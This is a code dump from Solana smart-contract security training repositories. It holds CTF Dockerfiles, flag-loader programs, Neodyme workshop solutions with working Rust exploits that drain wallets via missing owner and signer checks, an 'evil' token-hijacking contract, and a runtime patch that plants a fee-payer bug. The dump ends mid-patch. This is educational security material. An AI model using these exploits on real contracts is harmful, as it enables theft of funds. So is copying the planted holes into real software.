27 | 28 | RUN apt-get update && apt-get install -y curl && sh -c "$(curl -sSfL https://release.solana.com/v1.7.10/install)" 29 | ENV PATH="/root/.local/share/solana/install/active_release/bin:${PATH}" 30 | 31 | COPY --from=build /build/ledger/ /ledger/ 32 | COPY --from=build /build/target/release/store-cli /usr/bin/ 33 | COPY --from=build /build/keys/ /keys/ 34 | COPY --from=build /build/target/release/libflag.so /root/.local/share/solana/install/active_release/bin/libflagloader_program.so 35 | 36 | ENV FLAG="ALLES!{placeholder}" 37 | EXPOSE 1024 38 | 39 | CMD ["/bin/sh", "-c", "((sleep 2; store-cli -k /keys/rich-boi.json setup /keys/flag-depot.json $(dd if=/dev/urandom count=8 bs=1 | od -A n -t u8)) &); solana-test-validator -l /ledger/ --rpc-port 1024 --dynamic-port-range 1025-65535"] 40 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/docs/level1-solution.md: -------------------------------------------------------------------------------- 1 | # Solution - Missing Signer Check 2 | 3 | The vulnerability in this contract is a missing signer check in the withdraw function: 4 | 5 | The wallet authority does not have to sign the execution of the instruction. This has the effect, that everybody can pretend to be the authority. 6 | 7 | 8 | ```rust 9 | use borsh::BorshSerialize; 10 | use level1::WalletInstruction; 11 | use solana_program::instruction::{AccountMeta, Instruction}; 12 | 13 | fn hack(env: &mut LocalEnvironment, challenge: &Challenge) { 14 | let tx = env.execute_as_transaction( 15 | // we construct the instruction manually here 16 | // because the level1::withdraw function sets the is_signer flag on the authority 17 | // but we don't want to sign 18 | &[Instruction { 19 | program_id: challenge.wallet_program, 20 | accounts: vec![ 21 | AccountMeta::new(challenge.wallet_address, false), 22 | AccountMeta::new(challenge.wallet_authority, false), 23 | AccountMeta::new(challenge.hacker.pubkey(), true), 24 | AccountMeta::new_readonly(system_program::id(), false), 25 | ], 26 | data: WalletInstruction::Withdraw { amount: sol_to_lamports(1.0) }.try_to_vec().unwrap(), 27 | }], 28 | &[&challenge.hacker], 29 | ); 30 | tx.print_named("haxx"); 31 | } 32 | ``` 33 | 34 | # Mitigation 35 | 36 | By adding a check in the `withdraw` function, to check if the `wallet_info` is signed this vulnerability can be prevented: 37 | 38 | ```rust 39 | assert!(authority_info.is_signer); 40 | ``` -------------------------------------------------------------------------------- /solhana-ctf/client/util.js: -------------------------------------------------------------------------------- 1 | import { Keypair, PublicKey } from "@solana/web3.js"; 2 | import * as api from "./api.js"; 3 | import { Transaction } from "@solana/web3.js"; 4 | 5 | // dont leave home without it 6 | export function sleep(ms) { 7 | return new Promise(resolve => setTimeout(resolve, ms)); 8 | } 9 | 10 | // convenience for converting all pubkeys and keypairs 11 | export function parseAccounts(o) { 12 | return _parseAccounts( 13 | typeof o === "string" 14 | || o instanceof Buffer 15 | ? JSON.parse(o) 16 | : JSON.parse(JSON.stringify(o)) 17 | ); 18 | } 19 | 20 | function _parseAccounts(o) { 21 | if(typeof o === "string") { 22 | try { 23 | o = new PublicKey(o); 24 | } catch(e) {} 25 | return o; 26 | } 27 | else if(o instanceof Array) { 28 | return Keypair.fromSecretKey(Buffer.from(o)); 29 | } 30 | else { 31 | for (var [k, v] of Object.entries(o)) { 32 | o[k] = _parseAccounts(v); 33 | } 34 | return o; 35 | } 36 | } 37 | 38 | // convenience to wrap and send instructions 39 | // takes list of instructions, list of signer keypairs, and optional player pubkey 40 | // in most (all?) cases the first signer will be the player, so 41 | export async function sendInstructions(url, ixns, signers, player = signers[0].publicKey) { 42 | let txn = new Transaction(); 43 | for (let ixn of ixns) { 44 | txn.add(ixn); 45 | } 46 | 47 | txn.recentBlockhash = await api.getLatestBlockhash(url, player); 48 | txn.sign(...signers); 49 | 50 | return await api.sendTransaction(url, player, txn); 51 | } 52 | -------------------------------------------------------------------------------- /pool/client/framework-solve/test.js: -------------------------------------------------------------------------------- 1 | var AMT = 10; 2 | 3 | states = [[AMT, 0]]; 4 | tot = new Set(); 5 | var best = 0; 6 | var bestVal = ""; 7 | 8 | var trans = {}; 9 | 10 | let process = (curr, nxt, amt, dir) => { 11 | if (!tot.has(nxt.join())) { 12 | tot.add(nxt.join()); 13 | states.push(nxt); 14 | 15 | trans[nxt.join()] = [curr, amt, dir]; 16 | 17 | var val = nxt[0] + nxt[1]; 18 | if (val > best) { 19 | best = val; 20 | bestVal = nxt.join(); 21 | } 22 | } 23 | } 24 | 25 | tot.add(states[0].join()); 26 | 27 | for (var i = 0; i < 100000; i++) { 28 | var curr = states.shift(); 29 | if (curr === undefined) break; 30 | for (var amt = 1; amt < 110; amt++) { 31 | var x = 2 * AMT - curr[0]; 32 | var y = AMT - curr[1]; 33 | if (amt <= curr[0]) { 34 | var y1 = Math.floor(x * y / (x + amt)); 35 | var x1 = x + amt; 36 | 37 | var nxt = [2 * AMT - x1, AMT - y1]; 38 | process(curr, nxt, amt, true); 39 | 40 | } 41 | if (amt <= curr[1]) { 42 | var x1 = Math.floor(x * y / (y + amt)); 43 | var y1 = y + amt; 44 | 45 | var nxt = [2 * AMT - x1, AMT - y1]; 46 | process(curr, nxt, amt, false); 47 | } 48 | } 49 | } 50 | 51 | var vals = []; 52 | 53 | var curr = bestVal; 54 | console.log(bestVal); 55 | for (let i = 0; i < 100; i++) { 56 | if (trans[curr] == undefined) break; 57 | let [nxt, amt, dir] = trans[curr]; 58 | 59 | console.log(nxt, amt, dir); 60 | 61 | curr = nxt.join(); 62 | 63 | vals.unshift(amt * (dir ? -1: 1)); 64 | } 65 | 66 | console.log(vals.join(", ")); 67 | -------------------------------------------------------------------------------- /cashio-exploit-workshop/README.md: -------------------------------------------------------------------------------- 1 | # Cashio Exploit Workshop 2 | 3 | The [Cashio](https://rekt.news/cashio-rekt/) hack was one of the biggest hacks 4 | occurred in Solana ecosystem 5 | which allowed the attacker to print infinite amount of $CASH 6 | with a faked collateral. 7 | This repository provides a local environment that you can try writing your own attack for Cashio. 8 | This exploit workshop is influenced by 9 | [Solana Security Workshop](https://workshop.neodyme.io/index.html) 10 | which we highly recommend to finish before trying this one. 11 | 12 | **DISCLAIMER:** This tutorial is provided entirely for an educational purpose. 13 | We DO NOT endorse or support any type of illegal activities. 14 | 15 | ## Steps 16 | 17 | 1. The main file you will be working on is `poc/src/main.rs`. 18 | The file contains the code that prepares the mock environment 19 | with a real Cashio bank filled with assets. 20 | Take a look at the provided code to learn how to use the provided `LocalEnv` 21 | struct. 22 | 2. Write your PoC in `execute_poc()` function. 23 | Your goal is to write code that exploits a logic bug in the Cashio contract 24 | that allows you to print infinite amount of $CASH 25 | and use the printed $CASH to steal collaterals (Saber LP token) stored in the bank. 26 | 3. Run `make` to check your answer. 27 | After the initial build of dependencies `cargo run` also works. 28 | 29 | ## Hints 30 | 31 | * [Cashio attack analysis by Soteria](https://www.soteria.dev/post/cashioapp-attack-whats-the-vulnerability-and-how-soteria-detects-it) 32 | * You can check our model answer under [poc](https://github.com/PwnedNoMore/cashio-exploit-workshop/tree/poc) branch 33 | 34 | ## Who are we? 35 | 36 | We are [Pwned No More](https://pwnednomore.org/), a white hat hacker DAO created by and for the best talents to protect our beloved crypto/Web3 world. 37 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/docs/level0-solution.md: -------------------------------------------------------------------------------- 1 | # Solution 2 | 3 | 4 | ```rust 5 | use borsh::BorshSerialize; 6 | use level0::{Wallet, WalletInstruction}; 7 | use solana_program::instruction::{AccountMeta, Instruction}; 8 | 9 | fn hack(env: &mut LocalEnvironment, challenge: &Challenge) { 10 | // Figure out how much we want to steal 11 | let amount = env.get_account(challenge.vault_address).unwrap().lamports; 12 | println!("Trying to steal {} lamports", amount.green()); 13 | 14 | // Create a fake Wallet pointing to the real vault 15 | let hack_wallet = Wallet { 16 | authority: challenge.hacker.pubkey(), 17 | vault: challenge.vault_address, 18 | }; 19 | 20 | let fake_wallet = keypair(123); 21 | let mut hack_wallet_data: Vec = vec![]; 22 | 23 | hack_wallet.serialize(&mut hack_wallet_data).unwrap(); 24 | 25 | env.create_account_with_data(&fake_wallet, hack_wallet_data); 26 | 27 | env.execute_as_transaction( 28 | &[Instruction { 29 | program_id: challenge.wallet_program, 30 | accounts: vec![ 31 | AccountMeta::new(fake_wallet.pubkey(), false), 32 | AccountMeta::new(challenge.vault_address, false), 33 | AccountMeta::new(challenge.hacker.pubkey(), true), 34 | AccountMeta::new(challenge.hacker.pubkey(), false), 35 | AccountMeta::new_readonly(system_program::id(), false), 36 | ], 37 | data: WalletInstruction::Withdraw { amount }.try_to_vec().unwrap(), 38 | }], 39 | &[&challenge.hacker], 40 | ) 41 | .print(); 42 | } 43 | 44 | ``` 45 | 46 | # Mitigation 47 | 48 | By adding a check in the `withdraw` function, to check if the program itself is the owner of the `wallet_info` this vulnerability can be prevented: 49 | 50 | ```rust 51 | assert_eq!(wallet_info.owner, _program_id); 52 | ``` -------------------------------------------------------------------------------- /allesctf21/legit-bank/deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM rust:1.54.0-bullseye AS build 2 | 3 | RUN apt-get update && apt-get install -y clang libudev-dev 4 | RUN rustup component add rustfmt 5 | 6 | WORKDIR / 7 | RUN wget -q "https://github.com/solana-labs/solana/releases/download/v1.7.10/solana-release-x86_64-unknown-linux-gnu.tar.bz2" \ 8 | && tar -xf /solana-release-x86_64-unknown-linux-gnu.tar.bz2 \ 9 | && rm /solana-release-x86_64-unknown-linux-gnu.tar.bz2 10 | ENV PATH="$PATH:/solana-release/bin" 11 | 12 | RUN mkdir /build 13 | COPY Cargo.lock Cargo.toml /build/ 14 | COPY cli/ /build/cli 15 | COPY keys/ /build/keys 16 | COPY flag-program/ /build/flag-program 17 | COPY program/ /build/program 18 | 19 | WORKDIR /build/program 20 | RUN cargo build-bpf 21 | 22 | WORKDIR /build/ 23 | RUN cargo build --release 24 | 25 | RUN cp /build/target/deploy/bank.so /build/ && cargo run --release --bin bank-cli -- -k /build/keys/rich-boi.json initialize-ledger 26 | 27 | 28 | FROM ubuntu:20.04 29 | 30 | RUN apt-get update && apt-get install -y wget 31 | RUN wget -q "https://github.com/solana-labs/solana/releases/download/v1.7.10/solana-release-x86_64-unknown-linux-gnu.tar.bz2" \ 32 | && tar -xf /solana-release-x86_64-unknown-linux-gnu.tar.bz2 \ 33 | && rm /solana-release-x86_64-unknown-linux-gnu.tar.bz2 34 | ENV PATH="$PATH:/solana-release/bin" 35 | 36 | COPY --from=build /build/ledger/ /ledger/ 37 | COPY --from=build /build/target/release/bank-cli /usr/bin/ 38 | COPY --from=build /build/keys/ /keys/ 39 | COPY --from=build /build/target/release/libflag.so /solana-release/bin/libflagloader_program.so 40 | 41 | ENV FLAG="ALLES!{Some Smart Contracts are not very smart :(}" 42 | EXPOSE 1024 43 | 44 | CMD ["/bin/sh", "-c", "((sleep 2; bank-cli -k /keys/bank-manager.json setup /keys/flag-depot.json /keys/bank-manager.json) &); solana-test-validator -l /ledger/ --rpc-port 1024 --dynamic-port-range 1025-65535"] 45 | -------------------------------------------------------------------------------- /allesctf21/secret-store/deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM rust:1.54-bullseye AS build 2 | 3 | RUN apt-get update && apt-get install -y clang libudev-dev 4 | RUN rustup component add rustfmt 5 | 6 | WORKDIR / 7 | RUN wget -q "https://github.com/solana-labs/solana/releases/download/v1.7.10/solana-release-x86_64-unknown-linux-gnu.tar.bz2" \ 8 | && tar -xf /solana-release-x86_64-unknown-linux-gnu.tar.bz2 \ 9 | && rm /solana-release-x86_64-unknown-linux-gnu.tar.bz2 10 | ENV PATH="$PATH:/solana-release/bin" 11 | 12 | RUN mkdir /build 13 | COPY Cargo.lock Cargo.toml /build/ 14 | COPY cli/ /build/cli 15 | COPY keys/ /build/keys 16 | COPY flag-program/ /build/flag-program 17 | COPY program/ /build/program 18 | 19 | WORKDIR /build/program 20 | RUN cargo build-bpf 21 | 22 | WORKDIR /build/ 23 | RUN cargo build --release 24 | 25 | RUN cp /build/target/deploy/store.so /build/ && cargo run --release --bin store-cli -- -k /build/keys/rich-boi.json initialize-ledger 26 | 27 | 28 | FROM ubuntu:20.04 29 | 30 | WORKDIR / 31 | RUN apt-get update && apt-get install -y wget 32 | RUN wget -q "https://github.com/solana-labs/solana/releases/download/v1.7.10/solana-release-x86_64-unknown-linux-gnu.tar.bz2" \ 33 | && tar -xf /solana-release-x86_64-unknown-linux-gnu.tar.bz2 \ 34 | && rm /solana-release-x86_64-unknown-linux-gnu.tar.bz2 35 | ENV PATH="$PATH:/solana-release/bin" 36 | 37 | COPY --from=build /build/ledger/ /ledger/ 38 | COPY --from=build /build/target/release/store-cli /usr/bin/ 39 | COPY --from=build /build/keys/ /keys/ 40 | COPY --from=build /build/target/release/libflag.so /solana-release/bin/libflagloader_program.so 41 | 42 | ENV FLAG="ALLES!{Nothing is secret on 🅱️ L O C K C H A I N}" 43 | EXPOSE 1024 44 | 45 | CMD ["/bin/sh", "-c", "((sleep 2; store-cli -u http://localhost:1024 -k /keys/rich-boi.json setup /keys/flag-depot.json $(dd if=/dev/urandom count=8 bs=1 | od -A n -t u8)) &); solana-test-validator -l /ledger/ --rpc-port 1024 --dynamic-port-range 1025-65535"] 46 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/.vscode/tasks.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": "2.0.0", 3 | "tasks": [ 4 | { 5 | "label": "poc-framework: run level0", 6 | "type": "cargo", 7 | "command": "run", 8 | "args": [ 9 | "--bin", 10 | "level0" 11 | ], 12 | "group": "build", 13 | "env": { 14 | "RUST_BACKTRACE": "1" 15 | }, 16 | "dependsOn": [ 17 | "poc-framework: build contracts" 18 | ] 19 | }, 20 | { 21 | "label": "poc-framework: run level1", 22 | "type": "cargo", 23 | "command": "run", 24 | "args": [ 25 | "--bin", 26 | "level1" 27 | ], 28 | "group": "build", 29 | "env": { 30 | "RUST_BACKTRACE": "1" 31 | }, 32 | "dependsOn": [ 33 | "poc-framework: build contracts" 34 | ] 35 | }, 36 | { 37 | "label": "poc-framework: run level2", 38 | "type": "cargo", 39 | "command": "run", 40 | "args": [ 41 | "--bin", 42 | "level2" 43 | ], 44 | "group": "build", 45 | "env": { 46 | "RUST_BACKTRACE": "1" 47 | }, 48 | "dependsOn": [ 49 | "poc-framework: build contracts" 50 | ] 51 | }, 52 | { 53 | "label": "poc-framework: run level3", 54 | "type": "cargo", 55 | "command": "run", 56 | "args": [ 57 | "--bin", 58 | "level3" 59 | ], 60 | "group": "build", 61 | "env": { 62 | "RUST_BACKTRACE": "1" 63 | }, 64 | "dependsOn": [ 65 | "poc-framework: build contracts" 66 | ] 67 | }, 68 | { 69 | "label": "poc-framework: run level4", 70 | "type": "cargo", 71 | "command": "run", 72 | "args": [ 73 | "--bin", 74 | "level4" 75 | ], 76 | "group": "build", 77 | "env": { 78 | "RUST_BACKTRACE": "1" 79 | }, 80 | "dependsOn": [ 81 | "poc-framework: build contracts" 82 | ] 83 | }, 84 | { 85 | "label": "poc-framework: build contracts", 86 | "type": "cargo", 87 | "command": "build-bpf", 88 | "args": [ 89 | "--workspace" 90 | ], 91 | "env": { 92 | "RUST_BACKTRACE": "1" 93 | }, 94 | "group": "build", 95 | } 96 | ] 97 | } -------------------------------------------------------------------------------- /allesctf21/legit-bank/deploy/flag-program/src/lib.rs: -------------------------------------------------------------------------------- 1 | use std::{env, str::FromStr}; 2 | 3 | use solana_sdk::{ 4 | account::ReadableAccount, ic_msg, instruction::InstructionError, 5 | keyed_account::keyed_account_at_index, process_instruction::InvokeContext, pubkey::Pubkey, 6 | }; 7 | use spl_token::solana_program::program_pack::Pack; 8 | 9 | fn assert_eq(t1: T, t2: T) -> Result<(), InstructionError> { 10 | if t1 != t2 { 11 | Err(InstructionError::InvalidArgument) 12 | } else { 13 | Ok(()) 14 | } 15 | } 16 | 17 | /// Accounts: 18 | /// - flag_account: spl-token account containing at least one flag token 19 | /// - flag_account_owner: owner of the previous account. must sign. 20 | #[no_mangle] 21 | #[allow(improper_ctypes_definitions)] 22 | extern "C" fn flagloader_program( 23 | _program_id: &Pubkey, 24 | _instruction_data: &[u8], 25 | ctx: &dyn InvokeContext, 26 | ) -> Result<(), InstructionError> { 27 | let keyed_accounts = ctx.get_keyed_accounts()?; 28 | let keyed_account = keyed_account_at_index(keyed_accounts, 0)?; 29 | let keyed_account_owner = keyed_account_at_index(keyed_accounts, 1)?; 30 | 31 | let flag_mint = Pubkey::from_str("F1agMint11111111111111111111111111111111111")?; 32 | let flag = env::var("FLAG").map_err(|_| InstructionError::GenericError)?; 33 | 34 | assert_eq(keyed_account.owner()?, spl_token::ID)?; 35 | 36 | let account = spl_token::state::Account::unpack( 37 | keyed_account 38 | .account 39 | .try_borrow() 40 | .map_err(|_| InstructionError::GenericError)? 41 | .data(), 42 | ) 43 | .map_err(|_| InstructionError::GenericError)?; 44 | 45 | assert_eq(account.mint, flag_mint)?; 46 | 47 | if account.amount == 0 { 48 | return Err(InstructionError::InsufficientFunds); 49 | } 50 | 51 | assert_eq( 52 | Some(account.owner).as_ref(), 53 | keyed_account_owner.signer_key(), 54 | )?; 55 | 56 | ic_msg!(ctx, flag.as_str()); 57 | Ok(()) 58 | } 59 | -------------------------------------------------------------------------------- /allesctf21/secret-store/deploy/flag-program/src/lib.rs: -------------------------------------------------------------------------------- 1 | use std::{env, str::FromStr}; 2 | 3 | use solana_sdk::{ 4 | account::ReadableAccount, ic_msg, instruction::InstructionError, 5 | keyed_account::keyed_account_at_index, process_instruction::InvokeContext, pubkey::Pubkey, 6 | }; 7 | use spl_token::solana_program::program_pack::Pack; 8 | 9 | fn assert_eq(t1: T, t2: T) -> Result<(), InstructionError> { 10 | if t1 != t2 { 11 | Err(InstructionError::InvalidArgument) 12 | } else { 13 | Ok(()) 14 | } 15 | } 16 | 17 | /// Accounts: 18 | /// - flag_account: spl-token account containing at least one flag token 19 | /// - flag_account_owner: owner of the previous account. must sign. 20 | #[no_mangle] 21 | extern "C" fn flagloader_program( 22 | _program_id: &Pubkey, 23 | _instruction_data: &[u8], 24 | ctx: &dyn InvokeContext, 25 | ) -> Result<(), InstructionError> { 26 | let keyed_accounts = ctx.get_keyed_accounts()?; 27 | let keyed_account = keyed_account_at_index(keyed_accounts, 0)?; 28 | let keyed_account_owner = keyed_account_at_index(keyed_accounts, 1)?; 29 | 30 | 31 | let flag_mint = Pubkey::from_str("F1agMint11111111111111111111111111111111111")?; 32 | let flag = env::var("FLAG").map_err(|_| InstructionError::GenericError)?; 33 | 34 | 35 | assert_eq(keyed_account.owner()?, spl_token::ID)?; 36 | 37 | let account = spl_token::state::Account::unpack( 38 | keyed_account 39 | .account 40 | .try_borrow() 41 | .map_err(|_| InstructionError::GenericError)? 42 | .data(), 43 | ) 44 | .map_err(|_| InstructionError::GenericError)?; 45 | 46 | assert_eq(account.mint, flag_mint)?; 47 | 48 | if account.amount == 0 { 49 | return Err(InstructionError::InsufficientFunds); 50 | } 51 | 52 | assert_eq( 53 | Some(account.owner).as_ref(), 54 | keyed_account_owner.signer_key(), 55 | )?; 56 | 57 | 58 | ic_msg!(ctx, flag.as_str()); 59 | 60 | Ok(()) 61 | } 62 | -------------------------------------------------------------------------------- /allesctf21/bugchain/deploy/flag-program/src/lib.rs: -------------------------------------------------------------------------------- 1 | use std::{env, str::FromStr}; 2 | 3 | use solana_sdk::{ 4 | account::ReadableAccount, 5 | ic_msg, 6 | instruction::InstructionError, 7 | keyed_account::{keyed_account_at_index, KeyedAccount}, 8 | process_instruction::InvokeContext, 9 | pubkey::Pubkey, 10 | }; 11 | use spl_token::solana_program::program_pack::Pack; 12 | 13 | fn assert_eq(t1: T, t2: T) -> Result<(), InstructionError> { 14 | if t1 != t2 { 15 | Err(InstructionError::InvalidArgument) 16 | } else { 17 | Ok(()) 18 | } 19 | } 20 | 21 | /// Accounts: 22 | /// - flag_target: spl-token account with pubkey read from env with at least 1 token 23 | /// - flag_output: sufficiently large account owned by flag-program 24 | #[no_mangle] 25 | extern "C" fn flagloader_program( 26 | _program_id: &Pubkey, 27 | _instruction_data: &[u8], 28 | ctx: &dyn InvokeContext, 29 | ) -> Result<(), InstructionError> { 30 | let keyed_accounts = ctx.get_keyed_accounts()?; 31 | let keyed_account = keyed_account_at_index(keyed_accounts, 0)?; 32 | let keyed_account_owner = keyed_account_at_index(keyed_accounts, 1)?; 33 | 34 | let flag_mint = Pubkey::from_str("F1agMint11111111111111111111111111111111111")?; 35 | let flag = env::var("FLAG").map_err(|_| InstructionError::GenericError)?; 36 | 37 | assert_eq(keyed_account.owner()?, spl_token::ID)?; 38 | 39 | let account = spl_token::state::Account::unpack( 40 | keyed_account 41 | .account 42 | .try_borrow() 43 | .map_err(|_| InstructionError::GenericError)? 44 | .data(), 45 | ) 46 | .map_err(|_| InstructionError::GenericError)?; 47 | 48 | assert_eq(account.mint, flag_mint)?; 49 | 50 | if account.amount == 0 { 51 | return Err(InstructionError::InsufficientFunds); 52 | } 53 | 54 | assert_eq( 55 | Some(account.owner).as_ref(), 56 | keyed_account_owner.signer_key(), 57 | )?; 58 | 59 | ic_msg!(ctx, flag.as_str()); 60 | Ok(()) 61 | } 62 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/docs/README.md: -------------------------------------------------------------------------------- 1 | # Introduction 2 | 3 | Welcome to the Solana Security Workshop! 4 | Here, we look at Solana smart contracts from an attacker's perspective. 5 | By learning how to find and exploit different types of issues, you'll be able to write more secure contracts as you'll know what to watch out for. 6 | 7 | In the first part of the course, we introduce general concepts relevant to the security of Solana contracts and explore one vulnerability in detail. 8 | Next, we've prepared several vulnerable smart contracts as challenges. 9 | Each of these illustrates a different Solana smart contract bug. 10 | You're encouraged to work on exploiting these on your own. If you get stuck, just reach out, are happy to help. 11 | 12 | Much of the code you see during this workshop is intentionally vulnerable. Even if the bugs are fixed, the code does not follow good design guidelines. Please do all of us a favor and not use it outside of security demonstrations. 13 | 14 | ## Requirements 15 | 16 | To follow along with this course, you need to be familiar with writing solana contracts and the [Rust](https://rust-lang.org/) programming language. 17 | 18 | You also need an environment where you can compile the example contracts and run the attacks. 19 | We have prepared prebuilt environments if you need them, for details, please refer to [Setup](setup.md). 20 | 21 | ## Who We Are 22 | 23 | We started as a group of independent researchers, who love digging into complex concepts and projects. At the end of 2020, we have been introduced into the Solana ecosystem by looking at Solana-core code, in which we have found a number of vulnerabilities. We have since founded the security-research firm [Neodyme](https://neodyme.io), which has been helping the Solana Foundation with peer-reviews of smart contracts. 24 | 25 | As such, we have found lots of interesting and critical bugs in smart contracts. 26 | To help make the ecosystem a more secure place, we want to share some insights in this workshop. We hope you enjoy breaking our prepared contracts as much as we do. 27 | -------------------------------------------------------------------------------- /darksols/evil-contract/src/evil-contract/evil-contract.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "../shared/program.h" 3 | 4 | /* 5 | * this is 3vil smart-contract with one instruction: 6 | * 7 | * 3vilInstruction 8 | * ???????????????????? 9 | * 10 | * Account references 11 | * [WRITE] The destination account 12 | * [EXECUTE] Program 13 | * [WRITE] The source account 14 | * [SIGNER] The source account's owner 15 | * 16 | * The instruction will replace accounts in the pre-defined manner. 17 | * It will call the instruction #3 of the program passed as the second account. 18 | */ 19 | 20 | 21 | uint64_t handle(SolParameters *params) { 22 | sol_assert(params->ka_num == 4); 23 | SolAccountInfo* acc0 = ¶ms->ka[0]; 24 | SolAccountInfo* acc1 = ¶ms->ka[1]; 25 | SolAccountInfo* acc2 = ¶ms->ka[2]; 26 | SolAccountInfo* acc3 = ¶ms->ka[3]; 27 | 28 | uint8_t data[1 + sizeof(transfer)]; 29 | sol_memset(data, 0, sizeof(data)); 30 | data[0] = 3; 31 | transfer* data_args = (transfer*)(data + 1); 32 | data_args->amount = 1; 33 | 34 | SolAccountMeta arguments[] = { 35 | { .pubkey = acc2->key, .is_writable = true, .is_signer = false }, 36 | { .pubkey = acc0->key, .is_writable = true, .is_signer = false }, 37 | { .pubkey = acc3->key, .is_writable = true, .is_signer = true }, 38 | }; 39 | 40 | const SolInstruction init_acc = { 41 | .program_id = acc1->key, 42 | .accounts = arguments, 43 | .account_len = SOL_ARRAY_SIZE(arguments), 44 | .data = data, 45 | .data_len = sizeof(data) 46 | }; 47 | sol_invoke(&init_acc, params->ka, params->ka_num); 48 | 49 | return SUCCESS; 50 | } 51 | 52 | extern uint64_t entrypoint(const uint8_t *input) { 53 | sol_log("solana 3vil smart-contract"); 54 | 55 | SolAccountInfo accounts[5]; 56 | SolParameters params = (SolParameters){.ka = accounts}; 57 | 58 | if (!sol_deserialize(input, ¶ms, SOL_ARRAY_SIZE(accounts))) { 59 | return ERROR_INVALID_ARGUMENT; 60 | } 61 | 62 | return handle(¶ms); 63 | } 64 | -------------------------------------------------------------------------------- /neodyme-breakpoint-workshop/docs/poc_framework.md: -------------------------------------------------------------------------------- 1 | # PoC Framework 2 | 3 | The so called `poc-framework` is a tool we developed to help us quickly testing bugs in smart-contracts. 4 | Especially for more complicated bugs, it is often easier to verify an idea practically rather than statically by just reading code. 5 | 6 | This is usually a multistep process. First, you obviously do not want to test on the live Solana chain. 7 | That means you have to replicate the setup locally somehow. If you have ever tried to write integration tests for smart contracts before, you know that it is a bit tedious to get the correct setup. 8 | 9 | Normally, smart contracts work the following way: you have a Rust cli or some web3js that generates instructions and sends them via RPC to a validator. On the validator, the contract is already initialized, and your instructions can be executed by the network, returning you the result. 10 | 11 | For testing, it is often times not necessary to have a full network. Just the solana smart contract runtime is enough to see most behaviour. 12 | 13 | This is where the `poc-framework` comes in. It is a collection of helper methods to interact with the core solana code in a way that is similar to what would happen when a contract is used on the normal network. 14 | 15 | An exploit utilizing the framework consists of three parts: setup code (marked with the comment: "SETUP CODE BELOW"), the actual exploit (the `fn hack()` function you will write) and a check if the exploit succeeded (the `fn verify()` function). We have already provided the first and the last one in the poc files for you, just the exploit is missing. 16 | 17 | To see how the Framework can help you, its best to check out the functions provided by the `Environment`: [poc_framework::Environment docs](https://docs.rs/poc-framework/0.1.2/poc_framework/trait.Environment.html). 18 | 19 | ## Exploit outline 20 | 21 | The hacker is given 1 sol for paying fees on transactions. The goal is to give the hacker more money than they started with. It is not necessarily possible to steal all the money. 22 | The `verify` function will check this for you automatically, so you will know when you have succeeded. -------------------------------------------------------------------------------- /HalbornCTF_Rust_Solana/ctf/src/instruction.rs: -------------------------------------------------------------------------------- 1 | #![allow(clippy::too_many_arguments)] 2 | 3 | use { 4 | borsh::{BorshDeserialize, BorshSchema, BorshSerialize}, 5 | solana_program::{ 6 | instruction::{AccountMeta, Instruction}, 7 | pubkey::Pubkey, 8 | }, 9 | }; 10 | 11 | #[repr(C)] 12 | #[derive(Clone, Debug, PartialEq, BorshSerialize, BorshDeserialize, BorshSchema)] 13 | pub enum FarmInstruction { 14 | /// Initializes a new Farm. 15 | /// These represent the parameters that will be included from client side 16 | /// [w] - writable (account), [s] - signer (account), [] - readonly (account) 17 | /// 18 | /// 0. `[w]` farm account 19 | /// 1. `[]` farm authority 20 | /// 2. `[s]` farm creator 21 | /// 3. nonce 22 | Create { 23 | #[allow(dead_code)] 24 | /// nonce 25 | nonce: u8, 26 | }, 27 | 28 | /// Creator has to pay a fee to unlock the farm 29 | /// 30 | /// 0. `[w]` farm account 31 | /// 1. `[]` farm authority 32 | /// 2. `[s]` farm creator 33 | /// 4. `[]` farm creator token account 34 | /// 5. `[]` fee vault 35 | /// 6. `[]` token program id 36 | /// 7. `[]` farm program id 37 | /// 8. `[]` amount 38 | PayFarmFee( 39 | // farm fee 40 | u64 41 | ), 42 | } 43 | 44 | /// you can use this helper function to create the PayFarmFee instruction in your client 45 | /// see PayFarmFee enum variant above for account breakdown 46 | /// please note [amount] HAS TO match the farm fee, otherwise your transaction is going to fail 47 | pub fn ix_pay_create_fee( 48 | farm_id: &Pubkey, 49 | authority: &Pubkey, 50 | creator: &Pubkey, 51 | creator_token_account: &Pubkey, 52 | fee_vault: &Pubkey, 53 | token_program_id: &Pubkey, 54 | farm_program_id: &Pubkey, 55 | amount: u64, 56 | ) -> Instruction { 57 | let accounts = vec![ 58 | AccountMeta::new(*farm_id, false), 59 | AccountMeta::new_readonly(*authority, false), 60 | AccountMeta::new(*creator, true), 61 | AccountMeta::new(*creator_token_account, false), 62 | AccountMeta::new(*fee_vault, false), 63 | AccountMeta::new_readonly(*token_program_id, false), 64 | ]; 65 | Instruction { 66 | program_id: *farm_program_id, 67 | accounts, 68 | data: FarmInstruction::PayFarmFee(amount).try_to_vec().unwrap(), 69 | } 70 | } -------------------------------------------------------------------------------- /allesctf21/bugchain/deploy/vuln.patch: -------------------------------------------------------------------------------- 1 | diff --git a/runtime/src/accounts.rs b/runtime/src/accounts.rs 2 | index 8ed206eaf..ae99015f3 100644 3 | --- a/runtime/src/accounts.rs 4 | +++ b/runtime/src/accounts.rs 5 | @@ -988,12 +988,11 @@ impl Accounts { 6 | 7 | let message = &tx.message(); 8 | let loaded_transaction = raccs.as_mut().unwrap(); 9 | - let mut fee_payer_index = None; 10 | for (i, (key, account)) in (0..message.account_keys.len()) 11 | .zip(loaded_transaction.accounts.iter_mut()) 12 | .filter(|(i, (key, _account))| message.is_non_loader_key(key, *i)) 13 | { 14 | - let is_nonce_account = prepare_if_nonce_account( 15 | + prepare_if_nonce_account( 16 | account, 17 | key, 18 | res, 19 | @@ -1001,27 +1000,7 @@ impl Accounts { 20 | last_blockhash_with_fee_calculator, 21 | fix_recent_blockhashes_sysvar_delay, 22 | ); 23 | - if fee_payer_index.is_none() { 24 | - fee_payer_index = Some(i); 25 | - } 26 | - let is_fee_payer = Some(i) == fee_payer_index; 27 | - if message.is_writable(i) 28 | - && (res.is_ok() 29 | - || (maybe_nonce_rollback.is_some() && (is_nonce_account || is_fee_payer))) 30 | 